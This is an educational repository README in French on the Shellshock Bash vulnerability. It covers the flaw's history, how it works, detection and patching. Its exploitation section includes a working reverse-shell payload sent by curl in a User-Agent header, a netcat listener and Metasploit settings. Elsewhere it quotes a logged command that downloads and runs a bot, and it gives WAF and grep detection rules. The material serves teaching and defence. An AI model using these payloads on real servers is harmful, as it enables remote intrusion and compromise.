
Dépôt éducatif détaillant la vulnérabilité Shellshock (CVE-2014-6271), incluant l'analyse technique, les vecteurs d'attaque, l'exploitation de preuve de concept et les étapes d'atténuation pour l'injection de variables d'environnement Bash.
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Exécution de code à distance via l'injection de variables d'environnement Bash
"Une faille qui est restée cachée dans Bash pendant des décennies et a ébranlé les fondations d'Internet en moins de 24 heures."
Shellshock (également connu sous le nom de Bashdoor) est une famille de vulnérabilités critiques dans l'interpréteur de commandes GNU Bash qui permet à un attaquant distant d'exécuter des commandes arbitraires sur le système cible.
L'erreur fondamentale : Bash ne s'arrêtait pas d'analyser une variable d'environnement après la fin de la définition d'une fonction. Tout code concaténé après () { :; }; était exécuté automatiquement.
Variable Env → Définition de fonction → [ICI EXÉCUTE DU CODE SUPPLÉMENTAIRE] ← BUG
Étant donné que les serveurs web (CGI/Apache), les services SSH et les clients DHCP convertissent des en-têtes ou paramètres en variables d'environnement de Bash, la surface d'attaque était massive.
12 sept. 2014 ──── Stéphane Chazelas découvre le bug et le signale à Chet Ramey (mainteneur de Bash)
Le bug existait dans Bash depuis plus de 20 ans.
24 sept. 2014 ──── Divulgation publique + publication du correctif (CVE-2014-6271)
Heures après : des botnets actifs scrutent massivement Internet.
25-30 sept. 2014 ── Découvertes de vulnérabilités apparentées :
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct. 2014 ──────── Des millions d'attaques enregistrées. Comparé en sévérité à Heartbleed.
Lorsque Bash importe une fonction depuis une variable d'environnement, il lit jusqu'à l'accolade fermante } de la fonction. Dans les versions vulnérables, il continuait à traiter le code suivant au lieu de s'arrêter.
# Variable d'environnement malveillante :
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Bash vulnérable à l'initialisation :
# 1. Lit la définition de fonction → OK
# 2. Trouve }; → devrait s'arrêter
# 3. CONTINUE → exécute /bin/cat /etc/passwd ← BUG
Attaquant Serveur Apache (CGI) Bash (vulnérable)
│ │ │
│ Requête HTTP │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convertit les en-têtes en env vars
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Exécute cmd
│ │ │ en tant que www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Réponse + sortie de cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Résultat sur un système VULNÉRABLE :
VULNERABLE
this is a test
Résultat sur un système CORRIGÉ :
this is a test
(ou une erreur de syntaxe — n'affiche jamais "VULNERABLE")
Les serveurs web qui utilisent des scripts .cgi convertissent les en-têtes HTTP en variables d'environnement de Bash.
En-têtes affectés : User-Agent, Referer, Cookie, X-Forwarded-For, et tout en-tête personnalisé
# Si le serveur a ForceCommand configuré, un attaquant avec une clé valide peut le contourner
ssh user@target '() { :;}; /bin/bash'
Des serveurs DHCP malveillants peuvent injecter des variables d'environnement chez les clients qui utilisent Bash pour traiter la réponse DHCP.
# Tout processus qui hérite de variables d'environnement et exécute Bash
env VAR='() { :;}; commande_malveillante' bash -c "script_légitime"
nc -lvnp 4444
# Payload à injecter dans le User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATTAQUANT/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://site-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Rechercher le motif caractéristique dans access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Exemple de log malveillant :
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Processus fils de www-data/apache qui ne devraient pas exister
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Nouveaux fichiers exécutables dans /tmp, /var/tmp, /dev/shm
- Connexions sortantes depuis le serveur web vers des IP inconnues
- Modification de /etc/crontab ou /etc/passwd
- Processus bash tournant sous www-data sans terminal
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Vérifier la version corrigée (doit afficher "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNÉRABLE
# GNU bash, version 4.3.33(1)-release → CORRIGÉ (varie selon la distro)
# Doit renvoyer uniquement "this is a test" — JAMAIS "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. Désactiver CGI si non nécessaire
a2dismod cgi
# 2. Règle WAF pour bloquer le motif
# Dans ModSecurity :
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Tentative Shellshock'"
# 3. Surveillance continue des logs
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
Ce dépôt est exclusivement à des fins éducatives, de recherche en cybersécurité et d'audits de sécurité autorisés. Toutes les informations présentées ici sont dans le domaine public. Effectuer des tests contre des systèmes sans autorisation explicite est illégal selon les lois de la plupart des juridictions. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations.
Découvert par Stéphane Chazelas · Publié le 24 septembre 2014
Score CVSS : 10.0 (Critique) → Ultérieurement ajusté à 9.8 en CVSSv3
| Produit | Versions vulnérables | Statut |
|---|
| GNU Bash | 1.0.3 – 4.3 | Corrigé |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Versions antérieures à sept. 2014 | Corrigé |
| Apple macOS / OS X | 10.10 et antérieures | Corrigé (Security Update 2014-005) |
| Appareils IoT avec Bash embarqué | Multiples | Varie selon le fabricant |
| Serveurs web avec CGI sur Apache | Toute version avec Bash vulnérable | Corrigé |